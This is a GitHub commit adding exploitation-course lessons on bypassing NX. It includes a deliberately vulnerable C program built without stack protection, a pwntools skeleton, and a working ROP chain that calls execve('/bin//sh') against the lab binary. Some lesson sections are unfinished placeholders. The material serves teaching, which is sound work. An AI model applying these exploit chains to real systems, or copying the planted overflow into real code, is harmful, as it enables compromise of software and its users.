Skip to content

Commit 607472a

Browse files
committed
Finished sections 6 and 7.
1 parent d06d829 commit 607472a

File tree

16 files changed

+411
-2
lines changed

16 files changed

+411
-2
lines changed

.gitignore

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -3,3 +3,4 @@
33
ubuntu-xenial-16.04-cloudimg-console.log
44
.gdb_history
55
peda-*.txt
6+
core

Vagrantfile

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -71,11 +71,16 @@ Vagrant.configure("2") do |config|
7171
apt-get update
7272
apt-get install -y libc6:i386 libncurses5:i386 libstdc++6:i386 gdb python python-pip libssl-dev gcc git binutils socat apt-transport-https ca-certificates libc6-dev-i386 python-capstone
7373
pip install --upgrade pip
74+
pip install ropgadget
7475
pip install pwntools
7576
pip install ipython
7677
pip install ropper
7778
git clone https://github.com/longld/peda.git /home/ubuntu/peda
7879
echo "source ~/peda/peda.py" >> /home/ubuntu/.gdbinit
80+
git clone https://github.com/niklasb/libc-database.git /home/ubuntu/libc-database
81+
cd /home/ubuntu/libc-database
82+
/home/ubuntu/libc-database/add /lib/i386-linux-gnu/libc.so.6
83+
/home/ubuntu/libc-database/add /lib/x86_64-linux-gnu/libc.so.6
7984
apt-key adv --keyserver hkp://ha.pool.sks-keyservers.net:80 --recv-keys 58118E89F3A912897C070ADBF76221572C52609D
8085
echo "deb https://apt.dockerproject.org/repo ubuntu-xenial main" | tee /etc/apt/sources.list.d/docker.list
8186
apt-get update

lessons/6_bypass_nx_rop/Makefile

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
all: 1_staticnx
2+
3+
1_staticnx:
4+
gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
725 KB
Binary file not shown.

lessons/6_bypass_nx_rop/lessonplan.md

Lines changed: 192 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,194 @@
11
# Bypassing NX with Return Oriented Programming
22

3-
<attack statically linked binaries and libc to generate chains with ropper>
4-
2 binaries
3+
Since it is assumed that all participants have the gone through the introductory
4+
video on return oriented programming set out in the pre-requisites, we will jump
5+
straight into developing our exploits. If you are not clear on the basics of
6+
ROP, please revisit the video.
7+
8+
## Enabling NX
9+
10+
Let's start increasing protections on the binaries we play with. We can start
11+
simple by only enabling the NX protection on the binaries we compile. For this
12+
section we will take a look at the following binary compiled from the following
13+
[source code][1].
14+
15+
```c
16+
#include <stdlib.h>
17+
#include <stdio.h>
18+
#include <string.h>
19+
#include <stdint.h>
20+
#include <unistd.h>
21+
22+
void vuln() {
23+
char buffer[128];
24+
char * second_buffer;
25+
uint32_t length = 0;
26+
puts("Reading from STDIN");
27+
read(0, buffer, 1024);
28+
29+
if (strcmp(buffer, "Cool Input") == 0) {
30+
puts("What a cool string.");
31+
}
32+
length = strlen(buffer);
33+
if (length == 42) {
34+
puts("LUE");
35+
}
36+
second_buffer = malloc(length);
37+
strncpy(second_buffer, buffer, length);
38+
}
39+
40+
int main() {
41+
setvbuf(stdin, NULL, _IONBF, 0);
42+
setvbuf(stdout, NULL, _IONBF, 0);
43+
44+
puts("This is a big vulnerable example!");
45+
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
46+
42);
47+
write(1, "Writing to STDOUT\n", 18);
48+
vuln();
49+
}
50+
51+
```
52+
53+
Since the [binary][2] is not big enough to give us a decent number of ROP
54+
gadgets, we will cheat a bit and compile the binary as a statically linked ELF.
55+
This should include library code in the final executable and bulk up the size of
56+
the binary. We also mark the writable regions of memory as non-executable.
57+
58+
```shell
59+
gcc -m32 -fno-stack-protector -static -znoexecstack -o ./build/1_staticnx ./src/1_staticnx.c
60+
```
61+
62+
We can verify that the binary has the NX protection enabled by using the
63+
checksec script. We can also check that the file is statically compiled with
64+
file.
65+
66+
```shell
67+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ checksec 1_staticnx
68+
[*] '/vagrant/lessons/6_bypass_nx_rop/build/1_staticnx'
69+
Arch: i386-32-little
70+
RELRO: Partial RELRO
71+
Stack: No canary found
72+
NX: NX enabled
73+
PIE: No PIE
74+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ file 1_staticnx
75+
1_staticnx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=18a84fc7499b620b7453b9d37d7ba97dc356d7b2, not stripped
76+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$
77+
```
78+
79+
## Obtaining EIP Control
80+
81+
First of all, we need to determine the offsets for EIP control. For the sake of
82+
brevity, I will use the offset of 148 bytes. When you follow along in the
83+
lesson, please do try obtaining the offset yourself. A rough skeleton [exploit
84+
script][2] is given as follows:
85+
86+
```python
87+
#!/usr/bin/python
88+
89+
from pwn import *
90+
91+
def main():
92+
# Start the process
93+
p = process("../build/1_staticnx")
94+
95+
# Craft the payload
96+
payload = "A"*148 + p32(0xdeadc0de)
97+
payload = payload.ljust(1000, "\x00")
98+
99+
# Print the process id
100+
raw_input(str(p.proc.pid))
101+
102+
# Send the payload
103+
p.send(payload)
104+
105+
# Transfer interaction to the user
106+
p.interactive()
107+
108+
if __name__ == '__main__':
109+
main()
110+
```
111+
112+
Running the script and attach gdb to the process allows us to verify that the
113+
EIP control works.
114+
115+
```shell
116+
[----------------------------------registers-----------------------------------]
117+
EAX: 0x80f15f8 ('A' <repeats 128 times>, "\370\025\017\b\230")
118+
EBX: 0x80481b0 (<_init>: push ebx)
119+
ECX: 0x10
120+
EDX: 0x0
121+
ESI: 0x80ee00c --> 0x8069c20 (<__strcpy_sse2>: mov edx,DWORD PTR [esp+0x4])
122+
EDI: 0x3d ('=')
123+
EBP: 0x41414141 ('AAAA')
124+
ESP: 0xffffd5f0 --> 0x0
125+
EIP: 0xdeadc0de
126+
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
127+
[-------------------------------------code-------------------------------------]
128+
Invalid $PC address: 0xdeadc0de
129+
[------------------------------------stack-------------------------------------]
130+
0000| 0xffffd5f0 --> 0x0
131+
0004| 0xffffd5f4 --> 0x0
132+
0008| 0xffffd5f8 --> 0x0
133+
0012| 0xffffd5fc --> 0x0
134+
0016| 0xffffd600 --> 0x0
135+
0020| 0xffffd604 --> 0x0
136+
0024| 0xffffd608 --> 0x0
137+
0028| 0xffffd60c --> 0x0
138+
[------------------------------------------------------------------------------]
139+
Legend: code, data, rodata, value
140+
Stopped reason: SIGSEGV
141+
0xdeadc0de in ?? ()
142+
gdb-peda$
143+
```
144+
145+
## Code Gadgets
146+
147+
Now, let's take a step back and think about how to proceed from this point. We
148+
cannot use the previous strategy of placing shellcode on the stack and jumping
149+
to it because the stack is now non-executable. One possible technique we can use
150+
is to reuse existing code in the binary.
151+
152+
If you have gone through the pre-requisite watching, you may realise that these
153+
snippets of useful code sequences that end in `ret` instructions are useful to
154+
construct a ROP chain. Some of these sequences might look like the following:
155+
156+
```shell
157+
0x0804f065 : pop esi ; pop ebp ; ret
158+
```
159+
160+
These are called gadgets. We can automate searching for these gadgets using a
161+
tool called `ROPgadget`.
162+
163+
```shell
164+
ubuntu@ubuntu-xenial:/vagrant/lessons/6_bypass_nx_rop/build$ ROPgadget --binary 1_staticnx
165+
Gadgets information
166+
============================================================
167+
0x080add78 : aaa ; add esp, 4 ; pop ebx ; pop esi ; ret
168+
0x080706c8 : aaa ; lea esp, dword ptr [ebp - 0xc] ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
169+
0x080bbca9 : aaa ; push 1 ; push 1 ; call eax
170+
... snip ...
171+
0x08091a7c : xor esi, esi ; ret 0xf01
172+
173+
Unique gadgets found: 12307
174+
```
175+
176+
Now, some combination of a subset of these 12307 gadgets should surely yield us
177+
a shell. Before we start mixing and matching, lets take an aside to discuss
178+
Linux syscalls.
179+
180+
## Linux Syscalls
181+
182+
talk about
183+
http://syscalls.kernelgrok.com/
184+
int 0x80
185+
186+
## Generating the ROP Chain
187+
188+
## Exercises
189+
190+
### 6.1 Using Ropper to Generate ROP Chains
191+
192+
[1]: ./src/1_staticnx.c
193+
[2]: ./build/1_staticnx
194+
[3]: ./scripts/1_skeleton.py
Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
def main():
6+
# Start the process
7+
p = process("../build/1_staticnx")
8+
9+
# Craft the payload
10+
payload = "A"*148 + p32(0xdeadc0de)
11+
payload = payload.ljust(1000, "\x00")
12+
13+
# Print the process id
14+
raw_input(str(p.proc.pid))
15+
16+
# Send the payload
17+
p.send(payload)
18+
19+
# Transfer interaction to the user
20+
p.interactive()
21+
22+
if __name__ == '__main__':
23+
main()
Lines changed: 59 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,59 @@
1+
#!/usr/bin/python
2+
3+
from pwn import *
4+
5+
from struct import pack
6+
7+
# Padding goes here
8+
rop = ''
9+
10+
rop += pack('<I', 0x0807299a) # pop edx ; ret
11+
rop += pack('<I', 0x080ee060) # @ .data
12+
rop += pack('<I', 0x080bbb46) # pop eax ; ret
13+
rop += '/bin'
14+
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
15+
rop += pack('<I', 0x0807299a) # pop edx ; ret
16+
rop += pack('<I', 0x080ee064) # @ .data + 4
17+
rop += pack('<I', 0x080bbb46) # pop eax ; ret
18+
rop += '//sh'
19+
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
20+
rop += pack('<I', 0x0807299a) # pop edx ; ret
21+
rop += pack('<I', 0x080ee068) # @ .data + 8
22+
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
23+
rop += pack('<I', 0x0805495b) # mov dword ptr [edx], eax ; ret
24+
rop += pack('<I', 0x080481d1) # pop ebx ; ret
25+
rop += pack('<I', 0x080ee060) # @ .data
26+
rop += pack('<I', 0x080e2fc9) # pop ecx ; ret
27+
rop += pack('<I', 0x080ee068) # @ .data + 8
28+
rop += pack('<I', 0x0807299a) # pop edx ; ret
29+
rop += pack('<I', 0x080ee068) # @ .data + 8
30+
rop += pack('<I', 0x080493e3) # xor eax, eax ; ret
31+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
32+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
33+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
34+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
35+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
36+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
37+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
38+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
39+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
40+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
41+
rop += pack('<I', 0x0807e1df) # inc eax ; ret
42+
rop += pack('<I', 0x08070605) # int 0x80
43+
44+
def main():
45+
# Start the process
46+
p = process("../build/1_staticnx")
47+
48+
# Craft the payload
49+
payload = "A"*148 + rop
50+
payload = payload.ljust(1000, "\x00")
51+
52+
# Send the payload
53+
p.send(payload)
54+
55+
# Transfer interaction to the user
56+
p.interactive()
57+
58+
if __name__ == '__main__':
59+
main()
Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,34 @@
1+
#include <stdlib.h>
2+
#include <stdio.h>
3+
#include <string.h>
4+
#include <stdint.h>
5+
#include <unistd.h>
6+
7+
void vuln() {
8+
char buffer[128];
9+
char * second_buffer;
10+
uint32_t length = 0;
11+
puts("Reading from STDIN");
12+
read(0, buffer, 1024);
13+
14+
if (strcmp(buffer, "Cool Input") == 0) {
15+
puts("What a cool string.");
16+
}
17+
length = strlen(buffer);
18+
if (length == 42) {
19+
puts("LUE");
20+
}
21+
second_buffer = malloc(length);
22+
strncpy(second_buffer, buffer, length);
23+
}
24+
25+
int main() {
26+
setvbuf(stdin, NULL, _IONBF, 0);
27+
setvbuf(stdout, NULL, _IONBF, 0);
28+
29+
puts("This is a big vulnerable example!");
30+
printf("I can print many things: %x, %s, %d\n", 0xdeadbeef, "Test String",
31+
42);
32+
write(1, "Writing to STDOUT\n", 18);
33+
vuln();
34+
}

lessons/7_bypass_nx_ret2libc/Makefile

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
all: 1_reveal_addresses 2_vulnerable
2+
3+
1_reveal_addresses:
4+
gcc -m32 -o ./build/1_reveal_addresses ./src/1_reveal_addresses.c -ldl
5+
gcc -o ./build/2_reveal_addresses64 ./src/1_reveal_addresses.c -ldl
6+
7+
2_vulnerable:
8+
gcc -m32 -fno-stack-protector -znoexecstack -o ./build/3_vulnerable ./src/2_vulnerable.c
9+
Binary file not shown.

0 commit comments

Comments
 (0)